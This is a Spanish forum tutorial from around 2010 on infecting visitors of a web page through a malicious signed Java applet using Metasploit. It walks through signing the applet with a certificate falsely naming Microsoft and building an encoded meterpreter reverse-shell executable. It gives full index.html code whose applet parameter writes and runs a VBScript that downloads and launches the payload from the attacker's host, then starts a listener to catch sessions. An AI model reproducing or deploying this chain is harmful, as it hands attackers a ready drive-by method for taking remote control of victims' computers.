[Metasploit] Java Applet Infection
[Metasploit By: trashhgoo & Shell Root]
Está infeccion permite la ejecución de codigo remoto, por medio del navegador. Para lograr nuestro objetivo, necesitamos tener instalado dentro de nuestro P.C, algunos componentes necesarios para la compilación y ejecución de alguns archivos.
Primero instalaremos el JDK de JAVA para la compilacion del codigo en JAVA para la ejecución del codigo remoto.
Código:
shellroot@ShellRoot-desktop:~$ sudo apt-get install sun-java6-jdk
Tambien es necesario la instalacion del Apache2
Código:
shellroot@ShellRoot-desktop:~$ sudo apt-get install apache2
Ahora para que nos quede organizado y no, se nos pierdan archivos, crearemos una carpeta dentro de la carpeta personal. (/home/shellroot/)
Código:
shellroot@ShellRoot-desktop:~$ mkdir JavaAppletInfect
Nos movemos a la carpeta que acabamos de crear y bajamos el siguiente archivo http://spl0it.org/files/makeapplet.sh, no sin antes guardar el siguiente codigo como MSFcmd.java
Código
Ahora estamos listos para descargar y ejecutar el archivo makeapplet.sh. Así:
Código:
shellroot@shellroot-desktop:~/JavaAppletInfect$ wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh
--2010-01-18 20:07:25-- http://spl0it.org/files/makeapplet.sh
Resolviendo spl0it.org... 205.138.55.249
Conectando a spl0it.org|205.138.55.249|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2184 (2,1K) [application/x-sh]
Guardando: «makeapplet.sh»
100%[======================================>] 2.184 --.-K/s en 0,02s
2010-01-18 20:07:26 (99,9 KB/s) - `makeapplet.sh' guardado [2184/2184]
shellroot@shellroot-desktop:~/JavaAppletInfect$ ./makeapplet.sh
Despues de ello, nos perdia una información para configurar nuestro certificado. Llenamos la informacion como queramos y al finalizar correctamente, se crearán los certificados del Script.
Código:
Enter the name of the applet without the extension:
MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
¿Cuáles son su nombre y su apellido?
[Unknown]: MSFcmd
¿Cuál es el nombre de su unidad de organización?
[Unknown]: Microsoft
¿Cuál es el nombre de su organización?
[Unknown]: Microsoft Organization
¿Cuál es el nombre de su ciudad o localidad?
[Unknown]: Medellin
¿Cuál es el nombre de su estado o provincia?
[Unknown]: Colombia
¿Cuál es el código de país de dos letras de la unidad?
[Unknown]: CO
¿Es correcto CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Medellin, ST=Colombia, C=CO?
[no]: si
[+] Signing the JAR file
Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificado almacenado en el archivo <mycertificate.cer>
[+] Done
Deploy the JAR and certificate files. They should be deployed to a distribution directory on a Web server.
<applet width='1' height='1' code=MSFcmd.class archive=SignedMSFcmd.jar> </applet>
shellroot@shellroot-desktop:~
Ahora tenemos que copiar los archivos SignedMSFcmd.Jar y MSFcmd.Class dentro de la carpeta /var/www, despues de ello, iniciamos el Serividor Apache. Así:
Código:
shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp SignedMSFcmd.jar /var/www
shellroot@shellroot-desktop:~/JavaAppletInfect$ sudo cp MSFcmd.class /var/wwwshellroot@shellroot-desktop:~/JavaAppletInfect$ aparche2ctl start
No command 'aparche2ctl' found, did you mean:
Command 'apache2ctl' from package 'apache2.2-common' (main)
aparche2ctl: command not found
shellroot@shellroot-desktop:~/JavaAppletInfect$ apache2ctl start
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
(13)Permission denied: make_sock: could not bind to address [::]:80
(13)Permission denied: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
shellroot@shellroot-desktop:~/JavaAppletInfect$
Despues de realizar todo lo anterior, precedemos a realizar un ejecutable con un PAYLOAD en este caso usaré windows/meterpreter/reverse_tcp
Código:
shellroot@shellroot-desktop:~$ cd msf3
shellroot@shellroot-desktop:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.136 LPORT=1234 R | ./msfencode -t exe -o MSFcmd.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
shellroot@shellroot-desktop:~/msf3$
Movemos el ejecutable dentro de la carpeta /var/www y configuramos los permisos del archivo.
Código:
shellroot@shellroot-desktop:~/msf3$ sudo cp ./MSFcmd.exe /var/www/
shellroot@shellroot-desktop:~/msf3$ sudo chmod a+x /var/www/MSFcmd.exe
shellroot@shellroot-desktop:~/msf3$
Ahora el archivo (index.html) que se encuentra dentro de la carpeta /var/www, modificamos el contenido y le añadimos el Script Malicioso. Así:
Código
<html> <head><title></title></head> <body> <applet width='1' height='1' code='MSFcmd.class' archive='SignedMSFcmd.jar'> <param name='first' value='cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\MSFcmd.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://192.168.142.136/MSFcmd.exe C:\windows\MSFcmd.exe'> </applet> </body> </html>
Ahora ingresamos a la Consola del Metasploit, y usamos el Auxiliar multi/handler, ingresamos los datos del PAYLOAD anterior con los mismo datos, y ejecutamos el exploit en segundo plano. Así:
Código:
shellroot@shellroot-desktop:~/msf3$ ./msfconsole
o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
msf exploit(handler) > back
msf > use multi/handler
reverse_tcpmsf exploit(handler) > set PAYLOAD windows/meterpreter/
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.136
LHOST => 192.168.142.136
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > save
Saved configuration to: /home/shellroot/.msf3/config
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...
y esperamos a que alguien ingrese a la URL, para recibir la Session del Meterpreter.
PD: La victima al ejecutar se le mostratá el siguiente certificado Web.
Gr3tz: Rcart, Messerschmitt, Xzite
Mirando los tipos de infecciones que se pueden realizar para Inyectar un PAYLOAD, encontré un Papper de AnalyseR, publicado por Hacker_Zero, Mirad. (http://foro.elhacker.net/hacking_avanzado/poc_infeccion_mediante_java_applet_y_vbscript-t240306.0.html). Pero mirando el MSFUnleashed, me di cuenta que era el mismo tipo de infección, Mirad (http://www.offensive-security.com/metasploit-unleashed/Java-Applet-Infection-Method) así que no se quien es... :·P, igual no me importa... x·D